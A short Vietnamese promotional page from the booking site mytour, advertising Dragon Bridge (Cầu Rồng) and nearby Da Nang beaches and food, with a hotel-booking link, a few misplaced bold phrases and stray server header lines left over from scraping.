**Cầu Rồng** du khách có thể tới tham quan nhiều địa danh du lịch, di tích lịch sử và danh lam thắng cảnh nổi tiếng nơi đây như: bãi biển Non Nước, bãi biển Mỹ Khê, cảng Tiên Sa, bãi biển Sơn Trà… với những cảnh đẹp độc đáo, hoang sơ và cực kỳ thu hút, nơi đây đang dần trở thành điểm đến yêu thích của du khách trong và ngoài nước. ** bạn sẽ có cơ hội được thưởng ngoạn cảnh sông nước, phong thủy hữu tình, được khám phá về phong tục tập quán và con người nơi đây. Được thưởng thức những món ăn vô cùng đặc sắc, với hương vị rất đặc trưng, chỉ nơi đây mới có. Du lịch Cầu Rồng**
Ngoài ra, khi
** qua hệ thống trực tuyến của mytour, bạn sẽ được đội ngũ tư vấn viên của mytour được tư vấn tận tình về phòng khách sạn, nơi ăn chốn ở, những điểm du lịch không nên bỏ qua, và những món đặc sản nên thưởng thức khi tới đây. đặt tour Cầu Rồng**
Bạn còn chần chừ gì nữa, hãy nhanh tay
[đặt phòng khách sạn Cầu Rồng](http://mytour.vn/d59/khach-san-tai-son-tra.html)

Server: Apache/2.2.15 (CentOS)

Connection: Close